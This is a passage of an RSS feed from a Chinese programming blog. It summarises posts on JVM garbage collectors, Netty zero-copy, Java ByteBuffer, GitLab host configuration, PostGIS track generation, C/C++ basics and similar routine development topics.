收集器去跟踪各个 Region 中的垃圾堆积的“价值”大小，然后在后台维护一个优先级列表，每次根据用户设定的收集停顿时间，优先处理回收价值收益最大的那些 Region&#xA;“价值”的衡量指标是：基于平均衰减的数学模型得出的每次回收所获得的空间大小以及回收所需时间的经验值。&#xA;Mix GC G1 收集器之前的其他所有收集器（包括 CMS 收集器），垃圾收集的目标范围要么是整个新生代（Minor GC），或者整个老年代（Major GC），抑或整个 Java 堆（Full GC）。</description>
    </item>
    <item>
      <title>Netty零拷贝</title>
      <link>https://bchobby.github.io/posts/4245418ccfa680931a9ec0512d42213f/</link>
      <pubDate>Mon, 05 Sep 2022 16:57:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4245418ccfa680931a9ec0512d42213f/</guid>
      <description>1. 概述 零拷贝即Zero-copy，就是在操作数据时，不需要将数据buffer从一个内存区域拷贝到另一个内存区域，因为少了内存的拷贝，因此CPU的效率就得到提升。&#xA;在OS层面上的零拷贝，通常指避免在用户态与内核态之间来回拷贝数据。例如Linux提供的mmap系统调用，它可以将一段用户空间内存映射到内核空间，当映射成功后，用户对这段内存区域的修改可以直接反映到内核空间；同样的，内核空间对这段区域的修改也直接反映到用户空间。正因为有这样的映射关系，我们就不需要在用户态与内核态之间拷贝数据，提高了数据传输的效率。&#xA;需要注意的是，Netty中的Zero-copy与我们上面所提到的OS层面Zero-copy不太一样，Netty的Zero-copy完全是在用户态(Java层面)的，它的Zero-copy的更多是偏向于优化数据操作这样的概念。&#xA;Netty的零拷贝体现在如下几个方面：&#xA;Netty提供了CompositeByteBuf类，它可以将多个ByteBUf合并为一个逻辑上的ByteBuf，避免了各个ByteBuf之间的拷贝通过wrap操作，我们可以将byte[]数组、ByteBuf、ByteBuffer等包装成一个Netty ByteBuf对象进而避免了拷贝操作ByteBuf支持slice操作，因此可以将ByteBuf分解为多个共享同一存储区域的ByteBuf，避免了内存的拷贝通过FileRegion包装的FileChannel.tranferTo实现文件传输，可以直接将文件缓冲区的数据发送到目标Channel，避免了传统通过循环write方式导致的内存拷贝问题。 2. 通过 CompositeByteBuf 实现零拷贝 假设我们有一份协议数据, 它由头部和消息体组成, 而头部和消息体是分别存放在两个 ByteBuf 中的, 即:&#xA;ByteBuf header = ... ByteBuf body = ... 我们在代码处理中, 通常希望将 header 和 body 合并为一个 ByteBuf, 方便处理, 那么通常的做法是:&#xA;ByteBuf allBuf = Unpooled.buffer(header.readableBytes() + body.readableBytes()); allBuf.writeBytes(header); allBuf.writeBytes(body); 可以看到, 我们将 header 和 body 都拷贝到了新的 allBuf 中了, 这无形中增加了两次额外的数据拷贝操作了.&#xA;那么有没有更加高效优雅的方式实现相同的目的呢? 我们来看一下 CompositeByteBuf 是如何实现这样的需求的吧:&#xA;ByteBuf header = ... ByteBuf body = ... CompositeByteBuf compositeByteBuf = Unpooled.compositeBuffer(); compositeByteBuf.addComponents(true, header, body); addComponents方法将 header 与 body 合并为一个逻辑上的 ByteBuf, 即:</description>
    </item>
    <item>
      <title>CMS垃圾回收器介绍</title>
      <link>https://bchobby.github.io/posts/7dd8572fd25daa8f55e08567c85f9290/</link>
      <pubDate>Mon, 05 Sep 2022 16:38:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dd8572fd25daa8f55e08567c85f9290/</guid>
      <description>1. CMS垃圾回收器 CMS是老年代回收器，只能回收老年代的对象，在收集过程中可以与用户线程并发操作。CMS牺牲了系统的吞吐量来追求收集速度，适合追求垃圾收集速度的服务器上。CMS收集器可以通过参数：-XX:+UseConcMarkSweepGC启用。&#xA;2. 收集过程 CMS收集器是基于算法标记-清除来实现的，整个过程分为5步：&#xA;初始标记&#xA;记录能被GC Root直接引用的对象，触发一次STW,但是这次STW很快，因为在标记的过程中不会标记一整条引用链的对象，如图所示，只记录红色箭头关联到的对象，不记录黑色箭头。&#xA;在这里插入图片描述&#xA;并发标记&#xA;从GC Roots的直接引用对象开始依次扫描(对上面的黑色箭头的链路做扫描)，这个过程需要比较多的时间，用户线程和GC线程同时执行，不会产生STW，因为在扫描的过程中用户线程还在不断的执行所以可能会出现标记过的对象又变成了垃圾。&#xA;重新标记&#xA;重新标记需要Stop The World，这个阶段是为了修正在并发标记阶段产生的浮动垃圾，对标记过的对象进行。&#xA;并发清除&#xA;GC线程和用户线程同时进行，开始正式清除未被标记的垃圾，在此阶段也会产生垃圾(浮动垃圾)，产生垃圾后无法清除，只能留待下一次GC。&#xA;在清除完后会重置标记信息。&#xA;CMS收集过程如下图所示：&#xA;收集过程总结：&#xA;在初始标记和重新标记有两次stop the world的标记操作初始标记只标记GC Root关联的对象，速度很快在初始标记触发STW的时候,它的标记方式还是原始的更改对象头MarkWord的GC标记字段，但是在并发标记阶段，因为是用户线程和GC线程同时在跑，所以采用的是三色标记的方式进行垃圾标记。 4. CMS三色标记 三色标记将对象的标记过程分为三种颜色：白色、灰色、黑色&#xA;白色：对象的默认颜色，从GC Root开始扫描，如果对象是不可达对象的话就是白色，也就是垃圾对象，在并发清理的时候会清理掉。灰色：当前对象已经被扫描过，但是当前对象所依赖的其他对象还没有被扫描。黑色：当前对象和它所依赖的对象都已经被扫描过，不会对黑色对象和引用的对象再次进行扫描。 三色标记使用在并发标记阶段，使用三色标记会导致两个问题，一个是漏标，一个是多标。&#xA;漏标&#xA;比如现在有ABCD四个对象，A依赖了B和C,B依赖了D,初始标记之后A对象已经被扫描过了所以是灰色，其他对象是白色：&#xA;继续往下执行扫描B和C,当B和C扫描完之后，A变成了黑色，B变成了灰色，C是黑色，D还是白色：&#xA;此时如果用户线程把B和D的引用去掉，让C依赖D,建立起C和D的关系之后B变成了黑色：&#xA;那么问题来了，C已经是黑色就不会再对其依赖的对象扫描了，但事实上C还有一个依赖对象D没有被扫描。此时如果进行垃圾回收的话D就会被回收掉，这就是所谓的漏标问题。&#xA;多标&#xA;还是用上面的例子进行说明，比如现在AB是黑色，C是灰色，D是白色，当GC正在扫描D的时候，B被置空了，从逻辑上讲B是垃圾，理应被回收，但是因为GC不会对黑色对象做重复扫描所以B还是黑色，在进行垃圾清理的时候不会被回收，只能等下次GC的时候再进行重新标记扫描。这种情况相对于漏标来说还行，起码不会导致系统出BUG。 漏标的解决方案&#xA;CMS使用增量更新的方式解决三色标记漏标问题。&#xA;增量更新：&#xA;将新增的引用维护到一个集合里面，将引用的源头变成灰色，等待重新标记阶段再重新进行一次扫描。比如：当D的引用指向了C，则会将C变成灰色，并将C放在一个新增引用的集合里面；在重新标记阶段会将C作为根节点继续向下扫描。&#xA;5. 为什么CMS要用标记清除法收集垃圾？ CMS的垃圾回收阶段是并发回收的，如果使用标记整理法收集的话，对象的内存地址会进行移动，因为用户线程还在执行，为了避免因内存地址移动带来的bug，还需要对用户线程的对象指针进行维护，在这个过程中肯定会STW，这样做就提高了垃圾清理的时长，停顿时间也变长了，不符合CMS一获取最短回收停顿时间为目的设计的初衷。&#xA;6. Concurrent Mode Failure(并发模式失败) CMS的垃圾回收周期很长，但是他的STW时间是分开两部分的，比如总的STW要100ms，可能他会在初始标记消耗20ms，重新标记消耗80ms,对于用户来说能感知到的停顿时长可能只有80ms。因为CMS的回收周期很长，所以在垃圾很多的情况下可能出现上次GC周期还没执行完就又触发了GC,称之为Concurrent Mode Failure。出现这种情况之后，Java虚拟机就会启动预备方案，启用Serial Old收集器替换CMS收集器，这时候整个GC过程都会Stop The World。&#xA;因为是采用标记清除算法进行垃圾回收，所以会存在内存碎片的问题，通过参数-XX:+UseCMSCompactAtFullCollection可以设置清除之后再做一次整理。&#xA;7.CMS优缺点 优点：并发收集、低停顿。&#xA;其实最主要的是CMS把收集过程中步骤拆分了，而最耗时的操作都是并发执行，自然就会低停顿了。缺点：产生大量空间碎片（可以通过配置重新整理，但是加长停顿时间）、并发阶段会降低吞吐量。无法处理浮动垃圾。&#xA;CMS采用的是标记-清除算法，所以会产生大量的空间碎片。 8. 参数设置 #老年代采用CMS收集器收集 -XX:+UseConcMarkSweepGC 当设置使用CMS垃圾回收器进行垃圾收集后，在老年代使用CMS进行垃圾回收，在年轻代默认开启ParNew回收。 所以说CMS是一款老年代回收器。 #用于指定在执行完Full GC后对内存空间进行压缩整理，以此避免内存碎片的产生。不过由于内存压缩整理过程无法并发执行，所带来的问题就是停顿时间变得更长了。 -XX:+UseCMSCompactAtFullCollection #设置在执行多少次Full GC后对内存空间进行压缩整理。默认是0 -XX:CMSFullGCsBeforeCompaction= #设定CMS的线程数量，不指定默认是CPU核心数 -XX:+ParallelCMSThreads= #默认情况下初始标记是单线程的，这个参数可以让他多线程执行，可以减少STW XX:+CMSParallellInitialMarkEnabled #使用多线程进行重新标记，目的也是为了减少STW -XX:+CMSParallelRemarkEnabled 9.</description>
    </item>
    <item>
      <title>java nio ByteBuffer的使用</title>
      <link>https://bchobby.github.io/posts/745c2f68f2679f5ccbaf56e5b9c9308d/</link>
      <pubDate>Mon, 05 Sep 2022 14:42:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/745c2f68f2679f5ccbaf56e5b9c9308d/</guid>
      <description>1、介绍 Buffer是nio包的一个抽象类，作为java nio的三大组件（Buffer、Channel，Selector）之一，在java nio网络编程中尤为重要。&#xA;Buffer提供了一个字节缓冲区，配合Channel使用，可以从Channel中读取或写入数据。&#xA;2、结构 属性介绍 以ByteBuffer为例，其包括5个主要的属性：hb、position、limit、capacity、mark。&#xA;hb：ByteBuffer类有一个byte数组变量hb，此数组里面存放的就是实际的字节数据。&#xA;capacity：容量大小，其实就是hb字节数组的大小，始终不变。&#xA;position：当前读写操作的ByteBuffer对象位置，其实就是hb字节数组下标位置。&#xA;limit：读写操作position的大小限制，读写操作时position需要小于limit。&#xA;mark：记录当前读写的位置，方便后续使用。&#xA;常用API方法 /** * 初始化指定大小的ByteBuffer对象返回。 */ static ByteBuffer allocate(int capacity); /** * 使用指定字节数组初始化ByteBuffer对象返回。 */ static ByteBuffer wrap(byte[] array) /** * 返回当前position位置的字节数据，position自增1。 */ byte get(); /** * 返回指定位置的数据。 */ byte get(int index); /** * 当前position位置设置为传入字节，position自增1。 */ ByteBuffer put(byte b); /** * 切换到读模式。 */ Buffer flip(); /** * 切换到写模式，不保留未读完数据。 */ Buffer clear(); /** * 切换到写模式，保留未读完数据。 */ ByteBuffer compact(); 图解 ①初始化状态。执行**ByteBuffer.</description>
    </item>
    <item>
      <title>gitlab修改host git@gitlab.example.com</title>
      <link>https://bchobby.github.io/posts/b06a71809360f672e4b9bd5e8706005e/</link>
      <pubDate>Mon, 05 Sep 2022 11:35:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b06a71809360f672e4b9bd5e8706005e/</guid>
      <description>1、GitLab如果没修改host的话展示如图：&#xA;2、修改GitLab的host&#xA;. 修改gitlab仓库地址 vim /var/opt/gitlab/gitlab-rails/etc/gitlab.yml gitlab: ## Web server settings (note: host is the FQDN, do not include http://) host: 192.168.10.100 port: https: false …… email_from: gitlab@192.168.10.100 . 重启gitlab gitlab-ctl restart 3、修改后</description>
    </item>
    <item>
      <title>java&#43;postgis实现根据两点生成模拟轨迹gps数据</title>
      <link>https://bchobby.github.io/posts/6dda50d83ab2cf0b7ad97d98d95427fc/</link>
      <pubDate>Mon, 05 Sep 2022 11:34:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dda50d83ab2cf0b7ad97d98d95427fc/</guid>
      <description>java+postgis实现根据两点生成模拟轨迹gps数据 文章目录 java+postgis实现根据两点生成模拟轨迹gps数据前言一、实现流程1.请求参数2.功能流程3.postgis重要使用函数介绍4.生成的GPS模拟轨迹点位效果图 二、具体代码1.核心代码 总结 前言 在我们开发系统过程中少不了需要制造一些测试数据用来检验功能的正确性，同时在功能演示给客户坐汇报也需要用到一些测试模拟真实的数据来展示效果，但是我们如果手动去制作这些测试数据就会很耗时耗力，通过代码的方式去自动生成测试数据就显得比较重要了。&#xA;常见的测试数据文本描述类型的制造起来相对容易，但是我们如果需要制造出模拟一辆或者多辆车的行驶轨迹GPS点位数据就比较麻烦，首先得保证数据是在道路上面且道路具有连贯性，其次需要保证移动的位置和方向以及每次行驶的距离具有真实性，这样难度就比较大了，下文就来实现如何快速生成这种比较难以手动制造的车辆行驶轨迹的模拟GPS点位数据。&#xA;一、实现流程 1.请求参数 points：点位信息,可以设置途径点，多个点位用分号隔开，格式:起点;途径点;终点&#xA;timeInterval：间隔时间 用来控制模拟数据的计算点位 单位秒&#xA;speed：平均速度 用来控制模拟数据的计算点位 单位KM/H&#xA;randomBase：用来控制数据点位的随机起伏基数，动态调整模拟出来的点位效果&#xA;2.功能流程 发送请求 —》根据点位信息查询路径规划数据 —》根据路径规划线（基于graphHopper实现可以参照之前的文章实现）路数据进行插值计算遍历获取到轨迹点位 —》生成结果geojson轨迹点位数据&#xA;3.postgis重要使用函数介绍 ST_LineInterpolatePoint：返回沿直线在分数位置处插补的点。&#xA;函数结构：第一个参数为线的空间几何数据，第二个参数是一个介于0和1之间的浮点数，表示点所在的线长度的分数。返回一个点几何对象。&#xA;geometry ST_LineInterpolatePoint(geometry a_linestring, float8 a_fraction);&#xA;4.生成的GPS模拟轨迹点位效果图 二、具体代码 1.核心代码 代码如下（示例）：&#xA;public JSONObject generateTrackData(String points, Double timeInterval, Double speed,Double randomBase) { JSONObject result = new JSONObject(); result.put(&#34;type&#34;,&#34;FeatureCollection&#34;); JSONArray features = new JSONArray(); List&amp;lt;GHPoint&amp;gt; GHpoints = new ArrayList&amp;lt;&amp;gt;(); String[] pointsz = points.split(&#34;;&#34;, -1); // 遍历同时检查点位 如果超出中国范围的点位直接处理掉 for (int i = 0; i &amp;lt; pointsz.</description>
    </item>
    <item>
      <title>python对数据提取保存并拆分</title>
      <link>https://bchobby.github.io/posts/ab277f3a9cce8719ef62462628a76713/</link>
      <pubDate>Mon, 05 Sep 2022 10:43:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab277f3a9cce8719ef62462628a76713/</guid>
      <description>思路：先定义数组，然后用xlrd读取excel表格并提取所需要的数据用openpyxl进行保存，而后用pandas进行数据拆分处理。&#xA;import os import xlrd import openpyxl import pandas as pd # pip install -i https://pypi.tuna.tsinghua.edu.cn/simple/ xlrd==1.2.0 file_path = r&#39;&#39; #excel表格所在路径 file_save = r&#39;&#39; + &#39;\\&#39; #excel拆分保存所在路径 files= [] for dirpath, dirnames, filenames in os.walk(file_path): for file in filenames: if file.endswith(&#39;.xlsx&#39;) or file.endswith(&#39;.xls&#39;): files.append(dirpath + &#39;\\&#39; + file) for file in files: wb2 = openpyxl.Workbook() ws2 = wb2.active print(file) ID = [] BARCODE = [] EPC = [] ACCESSCODE = [] ID.</description>
    </item>
    <item>
      <title>DTLZ测试函数系列</title>
      <link>https://bchobby.github.io/posts/844e8f465565c77aa84b8386399b21f1/</link>
      <pubDate>Mon, 05 Sep 2022 09:21:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/844e8f465565c77aa84b8386399b21f1/</guid>
      <description>DTLZ测试函数系列 目录DTLZ1DTLZ2DTLZ3DTLZ４DTLZ５DTLZ６DTLZ７DTLZ8DTLZ9 目录 介绍DTLZ测试函数系列(DTLZ1-DTLZ9)&#xA;DTLZ1 DTLZ1是一个具有线性Pareto最优面的较简单的M个目标的测试问题，其描述如式子（11.25）所示。&#xA;在这里插入图片描述&#xA;DTLZ2 DTLZ2其描述如式子（11.27）所示。&#xA;DTLZ3 为了测试一个MOEA收敛到全局Pareto最优的能力，在DTLZ2中采用DTLZ１中的所建设的函数ｇ(Xｍ)，从而得到DTLZ３的测试问题，如式(11.30)所示。&#xA;DTLZ４ 为了测试一个MOEA保持解的良好的分布度你的能力，修改DTLZ2，采用不同的决策变量到目标函数的映射方式，得到DTLZ３的测试问题，如式(11.3１)所示。&#xA;DTLZ５ DTLZ５与DTLZ２的表达式再形式上相似，只是用于关于X的函数θ取代原目标函数中的ｘ的取值，其描述如式(11.32)所示。&#xA;DTLZ６ 对DTLZ５的函数ｇ加以修改，使问题变得更复杂而得到DTLZ６的测试问题。函数ｇ为&#xA;DTLZ７ DTLZ７是一个具有一组不连续Pareto最优面的测试问题，其描述如式(11.34)所示.&#xA;DTLZ8 DTLZ8的描述如式(11.35)所示.&#xA;DTLZ9 DTLZ9的描述如式(11.36)所示.&#xA;参考书籍，郑金华，邹娟著. 多目标进化优化. 北京：科学出版社, 2017.05.</description>
    </item>
    <item>
      <title>更好、更快、更强的多任务全景感知YOLOPv2，目标检测、freespace、车道线检测</title>
      <link>https://bchobby.github.io/posts/fd8e44c6da4eb7d4a839df84a4360ed9/</link>
      <pubDate>Sun, 04 Sep 2022 21:38:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd8e44c6da4eb7d4a839df84a4360ed9/</guid>
      <description>今年5月29日，小汤给大家分享了《端到端的多任务感知网络HybridNet，性能优于YOLOP》，论文 HybridNets: End2End Perception Network，代码已开源，在目标检测、车道线、freespace的多任务感知任务上性能优于YOLOP，取得了新SOTA。视频效果如下：&#xA;端到端的多任务感知网络：目标检测、车道线、freespace，性能优于YOLOP。HybridNets: End-to-End Perception Network&#xA;但仅仅3个月，‍YOLOPv2又来了，实现了新的反超。&#xA;paper：https://arxiv.org/pdf/2208.11434v1.pdf&#xA;code：https://github.com/CAIC-AD/YOLOPv2&#xA;1 摘要 在上一个十年里，多任务学习网络在解决全景驾驶感知问题方面取得了优异的表现，同时实现了精度和效率的大幅提升。多任务学习框架已经成为有限计算资源条件下实时自动驾驶系统设计的主流选择。本文提出了一种有效且高效的多任务学习网络——YOLOPv2，可以同时完成目标检测、可行驶区域分割和车道检测三个任务。&#xA;YOLOPv2模型在具有挑战性的自动驾驶基准数据集BDD100K 上的准确性和速度方面实现了新的SOTA。尤其是与之前的YOLOP、Hybrid-Net等SOTA模型相比，推理时间减少了一半。&#xA;2 简介 尽管计算机视觉和深度学习已经取得了显著的巨大发展，但对于object detection、segmentation、lane detection等基于视觉的任务而言，在低成本自动驾驶的应用中仍然不一件容易的事情。&#xA;全景驾驶感知系统（Panoptic Driving Perception）通过摄像头或激光雷达等常规传感器，帮助车辆全面了解车身周围的情况。基于相机的目标检测和目标分割任务通常在场景理解的实际使用中得益于其较低的成本而受到广泛选择。目标检测在提供交通障碍物的位置和大小信息方面发挥着重要作用，帮助自动驾驶汽车在行驶阶段做出准确及时的决策。同时，可行驶区域分割和车道线检测也为路径规划和提高行车安全提供了丰富的信息。&#xA;目标检测和目标分割是CV方向的两个长期研究课题。经过近年来的发展，已经诞生了一系列的出色工作，包括 CenterNet、Faster R-CNN 和 YOLO 系列等。常见的目标分割网络常用于可行驶区域划分，例如：UNET、SegNet 和 PSPNet等。而对于车道检测/分割而言，需要更强大的网络来提供更好的高层和低层特征融合，从而考虑全局结构上下文信息。然而，在实时自动驾驶系统中为每个单独的任务运行单独的模型通常是不太现实的。在此背景下，多任务学习网络应用而生，为节省计算成本提供了一种潜在的解决方案，网络通常被设计成encoder-decoder模式，其中encoder被不同的任务有效共享。&#xA;在本文中，在对历史方法进行了深入分析之后，提出了一种有效且高效的多任务学习网络——YOLOPv2，并在具有挑战性的 BDD100K 数据集上进行了相关实验。&#xA;YOLOPv2在3个任务中都取得了最佳性能：目标检测任务的 AP50 为 0.83，可行驶区域分割任务的 mIOU 为 0.93，车道线检测的准确率为 87.3。与 Baseline 相比，性能得到了大大的提升。此外，将在NVIDIA TESLA V100上运行的FPS达到了 91，远远高于 YOLOP 模型在相同实验设置下的 49 FPS 。这进一步说明模型可以降低计算成本并保证实时预测，同时为其他实验研究的改进留出空间。&#xA;YOLOPv2的主要贡献如下：&#xA;Better：提出了一种更有效的模型结构，并开发了更复杂的免费袋，例如，在对数据预处理执行 Mosaic 和 Mixup 以及应用了一种新的混合损失;Faster：为模型设计了更高效的网络结构和内存分配策略；Stronger：模型是在强大的网络架构下训练完成的，具有良好的通用性，可以适应各种场景并同时保证速度； 3 YOLOPv2 3.1 概况&#xA;YOLOPv2是基于 YOLOP 和 HybridNet，保留了其核心设计理念，但利用强大的 backbone 进行特征提取。此外，与现有工作不同的是，利用encoder的3个分支来执行特定任务，而不是在同一分支中运行可行驶区域和车道检测任务。</description>
    </item>
    <item>
      <title>C&#43;&#43; - STL标准库</title>
      <link>https://bchobby.github.io/posts/fb8d9e8ae7596116e9c956affce69a39/</link>
      <pubDate>Sun, 04 Sep 2022 18:36:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb8d9e8ae7596116e9c956affce69a39/</guid>
      <description>1.C++ STL标准库简介&#xA;长久以来，软件界一直希望建立一种可重复利用的东西，以及一种得以制造出”可重复运用的东西”&#xA;的方法，从函数(functions)，类别(classes),函数库(function libraries),类别库(class libraries)、各种&#xA;组件，从模块化设计，到面向对象(object oriented )，为的就是复用性的提升。&#xA;复用性必须建立在某种标准之上。但是在许多环境下，就连软件开发最基本的数据结构(data&#xA;structures) 和算法(algorithm)都未能有一套标准。大量程序员被迫从事大量重复的工作，竟然是为&#xA;了完成前人已经完成而自己手上并未拥有的程序代码，这不仅是人力资源的浪费，也是挫折与痛苦&#xA;的来源。&#xA;为了建立数据结构和算法的一套标准，并且降低他们之间的耦合关系，以提升各自的独立性、弹&#xA;性、交互操作性(相互合作性,interoperability),诞生了STL。&#xA;STL(Standard Template Library,标准模板库)，是惠普实验室开发的一系列软件的统称。现在主要&#xA;出现在 c++中，但是在引入 c++之前该技术已经存在很长时间了。&#xA;STL 从广义上分为: 容器(container) 算法(algorithm) 迭代器(iterator)。&#xA;容器和算法之间通过迭代器进行无缝连接。STL 几乎所有的代码都采用了模板类或者模板函数，这&#xA;相比传统的由函数和类组成的库来说提供了更好的代码重用机会。&#xA;STL(Standard Template Library)标准模板库,在我们 c++标准程序库中隶属于 STL 的占到了 80%以&#xA;上。&#xA;2.STL容器使用时机&#xA;.vectordequelistsetmultisetmapmultimap典型内存结构单端数组双端数组双向链表二叉树二叉树二叉树二叉树可随机存取是是否否否对key而言：不是否元素搜寻速度慢慢非常慢快快对key而言：快对key而言：快元素安插移除尾端头尾两端任何位置---- vector的使用场景：比如软件历史操作记录的存储，我们经常要查看历史记录，比如上一次的记&#xA;录，上上次的记录，但却不会去删除记录，因为记录是事实的描述。&#xA;deque的使用场景：比如排队购票系统，对排队者的存储可以采用deque，支持头端的快速移除，&#xA;尾端的快速添加。如果采用vector，则头端移除时，会移动大量的数据，速度慢。&#xA;vector与deque的比较：&#xA;一：vector.at()比deque.at()效率高，比如vector.at(0)是固定的，deque的开始位置 却是不固定的。&#xA;二：如果有大量释放操作的话，vector花的时间更少，这跟二者的内部实现有关。&#xA;三：deque支持头部的快速插入与快速移除，这是deque的优点。&#xA;list的使用场景：比如公交车乘客的存储，随时可能有乘客下车，支持频繁的不确实位置元素的移&#xA;除插入。&#xA;set的使用场景：比如对手机游戏的个人得分记录的存储，存储要求从高分到低分的顺序排列。&#xA;map的使用场景：比如按ID号存储十万个用户，想要快速要通过ID查找对应的用户。二叉树的查找&#xA;效率，这时就体现出来了。如果是vector容器，最坏的情况下可能要遍历完整个容器才能找到该用&#xA;户。&#xA;3.vector容器&#xA;vector的数据安排以及操作方式，与array非常相似，两者的唯一差别在于空间的运用的灵活性。&#xA;Array是静态空间，一旦配置了就不能改变，要换大一点或者小一点的空间，可以，一切琐碎得由&#xA;自己来，首先配置一块新的空间，然后将旧空间的数据搬往新空间，再释放原来的空间。&#xA;Vector是动态空间，随着元素的加入，它的内部机制会自动扩充空间以容纳新元素。因此vector的&#xA;运用对于内存的合理利用与运用的灵活性有很大的帮助，我们再也不必害怕空间不足而一开始就要&#xA;求一个大块头的array了。&#xA;Vector的实现技术，关键在于其对大小的控制以及重新配置时的数据移动效率，一旦vector旧空间&#xA;满了，如果客户每新增一个元素，vector内部只是扩充一个元素的空间，实为不智，因为所谓的扩&#xA;充空间(不论多大)，一如刚所说，是”配置新空间-数据移动-释放旧空间”的大工程,时间成本很高，&#xA;应该加入某种未雨绸缪的考虑，稍后我们便可以看到vector的空间配置策略。&#xA;基本使用：&#xA;#include &#34;stdafx.h&#34; #include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt;//动态数组 using namespace std; int main() { vector&amp;lt;int&amp;gt; v1;//构造一个空的vector cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>C语言入门01—软件配置</title>
      <link>https://bchobby.github.io/posts/786cc5bb2faa53912af970255588f5df/</link>
      <pubDate>Sun, 04 Sep 2022 14:53:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/786cc5bb2faa53912af970255588f5df/</guid>
      <description>C语言入门01 软件配置&#xA;文章目录 前言一、Visual Studio 2022 下载地址二、安装步骤1.点击下载好的安装包2.选择需要安装的版本3.更改安装的位置4.选择所需的工作负荷5.点击安装，等待安装完成。 三、安装完成，测试软件。1.新建项目2.输入测试代码 总结 前言 随着计算机学习的深入，博主也开始学习C语言，故分享一篇C语言编辑器的安装教程。以下所使用的是Visual Studio 2022 社区版。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、Visual Studio 2022 下载地址 点击下载&#xA;二、安装步骤 1.点击下载好的安装包 如下（示例）：&#xA;2.选择需要安装的版本 3.更改安装的位置 4.选择所需的工作负荷 如果只进行C语言开发建议只选择c++的桌面开发，按照自己所需进行选择。&#xA;5.点击安装，等待安装完成。 三、安装完成，测试软件。 1.新建项目 2.输入测试代码 #include &amp;lt;stdio.h&amp;gt; int main() { printf(&#34;Holle world！&#34;); return 0; } 总结 以上就是今天分析的内容！</description>
    </item>
    <item>
      <title>C语言 Static关键字的作用详解</title>
      <link>https://bchobby.github.io/posts/b82f447c673425e92788509e524554e6/</link>
      <pubDate>Sun, 04 Sep 2022 11:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b82f447c673425e92788509e524554e6/</guid>
      <description>前言： static 是用来修饰函数和变量的，可以修饰局部变量，全局变量以及函数&#xA;一、修饰局部变量 （称为静态局部变量） 来看俩段代码：&#xA;对于第一段代码来说，它循环5次，每次调用一下fun()函数，而fun()函数每次进去的时候，x的值都为0，所以，当x++后，每次输出的值都为1&#xA;对于第二段代码来说，与第一种情况相类似，循环5次，每次输出x的值；但是，与第一段代码不相同的是，x是由static定义的， static对x 只定义一次，x的值不会随着fun()这个函数的结束而被释放掉，直到程序结束，它的生命周期才结束。所以每次fun()函数执行的时候，x的值都会在原来值的基础上加1.&#xA;当然，用static修时变量时，其默认值为0&#xA;二、修饰全局变量 （称为静态全局变量） 当static修饰全局变量时，只能在当前源文件使用，不能在其他源文件下使用&#xA;extern int x：声明x为其他文件的变量；我们可以发现编译不通过，但是如果将static关键字移除，程序就可以通过：&#xA;三、修饰函数 （称为静态函数） 当static修饰函数的时候，此函数只能在当前源文件使用，不能在其他源文件下使用&#xA;当fun()函数未被static修饰时，在 源.cpp 中可以正常执行 test.cpp 中的 fun() 函数，程序正常运行&#xA;然而，当fun()函数被static修饰时，程序就会出错&#xA;四、总结 1.当static修时局部变量时，变量只能被初始化一次，且static静态局部变量，其生命周期为整个进程，直到程序结束。（static修时变量时，默认值为0）&#xA;2.当static修时全局变量时，只在当前源文件有效，不能在其他源文件使用&#xA;3.当static修时函数时，只在当前源文件有效，不能在其他源文件使用</description>
    </item>
    <item>
      <title>分类（类别）组件</title>
      <link>https://bchobby.github.io/posts/cdffef91e4c8c6cf3f4abdbf3b970a3a/</link>
      <pubDate>Sun, 04 Sep 2022 00:05:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdffef91e4c8c6cf3f4abdbf3b970a3a/</guid>
      <description>此分类组件支持无限级&#xA;categoryData：分类树节点集合，数据格式为：[id: 1000000, pid: 0, name: ‘Level 1’, children: []], 其中children字段中的每一项与当前项的结构一致，值可为：null或[]或[id: 1000000, pid: 0, name: ‘Level 1’, children: []]，也可以不存在&#xA;events：为事件集合&#xA;selectAllEvent：为点击节点分类中某一个等级的全部按钮事件，返回的是当前节点的信息，此时的id为-1，-1表示的是全选&#xA;selectSingleEvent：为点击当前分类节点的按钮事件，返回的是当前节点对应的数据&#xA;一、父组件 父组件文件路径：/src/views/CategoryContainer.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;Category :categoryData=&#34;categoryData&#34; :events=&#34;events&#34;&amp;gt;&amp;lt;/Category&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import Category from &#34;@/components/category.vue&#34;; export default { name: &#34;CategoryContainer&#34;, components: { Category, }, data() { return { categoryData: [], events: { selectAllEvent(data) { const { id, pid } = data; console.log(&#34;全选&#34;, { id, pid }); }, selectSingleEvent(data) { const { id, pid } = data; console.</description>
    </item>
    <item>
      <title>Mybatis能够正常运行的时候，.xml文件中property属性报红</title>
      <link>https://bchobby.github.io/posts/b75b2465ebd3d6992efc4a69c6072bfd/</link>
      <pubDate>Fri, 02 Sep 2022 21:07:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b75b2465ebd3d6992efc4a69c6072bfd/</guid>
      <description> 最近在学习mybatis，这是在学习时遇到的一个小bug。&#xA;我的代码可以运行成功，但是property报红。&#xA;上网也找了很多方法，最后在Department类中生成get和set方法的时候发现：&#xA;原来是set和get方法没有设置好。&#xA;下面这个图片是未修改之前的代码，之前为了使属性名字规范化改成了驼峰但是没有修改set和get方法名，只修改了类里面set和get方法里面this.后面的名字。&#xA;所以就出现了：代码可以跑起来，但是xml里面property报红。&#xA;原因是：resultMap在注入值和取值的时候儿，用的就是那个get set方法，idea它能识别出get set方法名是否匹配。&#xA;最后修改好了，也就不报错了：&#xA;就浅浅记录这些把。 </description>
    </item>
    <item>
      <title>Linux 安装httpd（apache）超详细教程</title>
      <link>https://bchobby.github.io/posts/8358ac79c2935c786c4b45a139914b3e/</link>
